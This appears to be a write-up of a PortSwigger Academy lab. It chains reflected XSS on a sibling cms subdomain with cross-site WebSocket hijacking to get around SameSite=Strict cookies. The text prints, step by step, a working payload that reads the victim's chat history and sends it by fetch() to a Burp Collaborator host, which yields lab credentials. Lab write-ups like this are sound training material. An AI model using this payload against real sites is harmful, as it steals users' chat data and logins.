On this page
apsyleg1 min read
#portswigger #csrf #samesite #websockets #web-security

SameSite Strict Bypass via Sibling Domain

Lab

SameSite Strict bypass via sibling domain · Practitioner

Solution

Given:

This lab's live chat feature is vulnerable to cross-site WebSocket hijacking (CSWSH). To solve the lab, log in to the victim's account.

To do this, use the provided exploit server to perform a CSWSH attack that exfiltrates the victim's chat history to the default Burp Collaborator server. The chat history contains the login credentials in plain text.

What can we infer from this? The title reads as "bypass SameSite=Strict restrictions through a same-level subdomain".

SameSite is a Set-Cookie attribute that controls whether the cookie is sent on cross-site and same-site requests, and under which conditions. What does SameSite=Strict mean? It means the browser will send the cookie only on a same-site request, and only then. Important to remember: d1.example.com and d2.example.com are SameSite. The lab title hints that during recon we'll need to look at sibling domainsd1 and d2 above are exactly that.

Reading the description. There is a "live chat" feature on the site, and a WebSocket associated with it. The chat history contains login credentials in plain text. We need to craft a payload that connects to the chat WS as the victim and exfiltrates the messages to a Burp Collaborator server. Then we'll find the victim's name and password among the messages, log into their account, and the lab is solved.

Things to watch during recon: the subdomain + how the chat WebSocket works.

Let's go check how live chat works, and at the same time keep an eye on subdomains. We open the site, immediately see "Live chat", go there. The page opens, a message arrives. We send a few messages. Reload — messages are there. OK, so in theory we can indeed grab the message history.

What about the protocol? The first message the client sends is READY, after which the server sequentially sends the old messages. What about the connection? When we navigate to the chat page, a GET /chat request fires with the session cookie and WebSocket upgrade headers (Upgrade: websocket). This is the WebSocket we need to connect to — but as the victim, passing their session cookie.

But for now we have no way to trigger this method with the victim's cookie — somewhere there must be a vulnerable sibling domain. Let's look at requests to the target site more carefully.

First request /, sets the session cookie.

Then — GET /resources/labheader/css/academyLabHeader.css. Nothing interesting.

Then — GET /resources/css/labsEcommerce.css. Oh, a CORS header appears:

Access-Control-Allow-Origin: https://cms-0a7400a704d5b2a681db4d6e00510064.web-security-academy.net

Looks like that's it — our subdomain:

cms-0a7400a704d5b2a681db4d6e00510064.web-security-academy.net

Let's see what's there. Just a login/password form, we try the classic wiener/peter — doesn't work.

Since we're on a sibling domain and this is CSRF, it makes sense to look for an XSS on this subdomain.

We drop the classic <>'"\ into the username field. A POST request fires. No escaping. OK, we're in HTML tag context, so we need a tag with a JavaScript call. A working option — <img src=x onerror=alert(25) />. We drop it into the username field — nice, the payload works.

But the problem remains — it's a POST request, and we have no way to trigger it. We could try method override. OK, we can hit that route via a GET request.

Reasoning about the payload for the victim

We redirect to the subdomain with a payload in the username, which gets reflected after a POST login. We managed to invoke this method via GET by setting parameters in the query string. And inside the username payload we create a WebSocket pointing at the chat URL, send READY as the first message, and then receive the entire message history. After that — exfiltrate to Burp Collaborator, extract the victim's name and password, and log into the account.

Payload

location = cms.xxx.com/login?username=<img src=x ...>&password=xxx

That is, we redirect the victim to a page with a failed login attempt, and the value of the username parameter gets reflected. There we add a tag and JS to connect to the WebSocket and receive the list of messages.

https://cms-0a7c00a8032b92ab854321db00ea0020.web-security-academy.net

Let's build the payload in the DevTools console.

location = "https://cms-0a7c00a8032b92ab854321db00ea0020.web-security-academy.net/login?username=<img src=x onerror=alert(1)>&password=xxx"

Nice, it works.

Rough payload algorithm:

  1. Create a WebSocket connection.
  2. Add a handler for incoming messages. From here we'll send the message to Burp Collaborator.
  3. Send the first message — READY.

Then I figured — maybe <script></script> will pass, and it'll be easier to write the payload :)

location = "https://cms-0a7c00a8032b92ab854321db00ea0020.web-security-academy.net/login?username=<script>alert(25)</script>&password=xxx"

Let's sketch the first variant per our algorithm.

First, let's check the WebSocket Web API docs: developer.mozilla.org/en-US/docs/Web/API/WebSocket

Our starting test payload for the browser:

location = "https://cms-0a7c00a8032b92ab854321db00ea0020.web-security-academy.net/login?username=<script>const ws = new WebSocket('wss://0a7c00a8032b92ab854321db00ea0020.web-security-academy.net/chat')</script>&password=xxx"

Here we just create and open a socket. Check.

Goes through, we connect to the socket. Next step — send READY and receive the messages.

location = "https://cms-0a7c00a8032b92ab854321db00ea0020.web-security-academy.net/login?username=<script>const ws = new WebSocket('wss://0a7c00a8032b92ab854321db00ea0020.web-security-academy.net/chat'); ws.send('READY'); ws.onmessage=(m)=>console.log(m)</script>&password=xxx"
Uncaught InvalidStateError: Failed to execute 'send' on 'WebSocket': Still in CONNECTING state.

We called send() prematurely — let's do it in the connection-open handler.

location = "https://cms-0a7c00a8032b92ab854321db00ea0020.web-security-academy.net/login?username=<script>const ws = new WebSocket('wss://0a7c00a8032b92ab854321db00ea0020.web-security-academy.net/chat'); ws.onopen=()=>ws.send('READY'); ws.onmessage=(m)=>console.log(m)</script>&password=xxx"

Nice, I see MessageEvent objects in the console. The interesting field is data — that's the server message. It's JSON shaped like {"user":"You","content":"Hello"}. We're after the content field. We'll send it to Burp Collaborator: fve75b5f9q731mcmzwc0u6ofz65xtnhc.oastify.com.

Another nuance — the data is JSON serialized to a string. So we use JSON.parse(). Also, had to encode < and >.

Uploaded the payload to the exploit server, tested on myself. Now delivering to the victim:

location = "https://cms-0a20004203f9dea180791ce70035008d.web-security-academy.net/login?username=%3Cscript%3Econst ws = new WebSocket('wss://0a20004203f9dea180791ce70035008d.web-security-academy.net/chat'); ws.onopen=()=>ws.send('READY'); ws.onmessage=(m)=>{fetch(`https://fve75b5f9q731mcmzwc0u6ofz65xtnhc.oastify.com/?msg=${JSON.parse(m.data).content}`);console.log(JSON.parse(m.data).content)}%3C/script%3E&password=xxx"

Oh, among the things that came in:

GET /?msg=No%20problem%20carlos,%20it&apos;s%20o3ji86qd20lwiapuyb1n HTTP/1.1

carlos / o3ji86qd20lwiapuyb1n

Lab solved.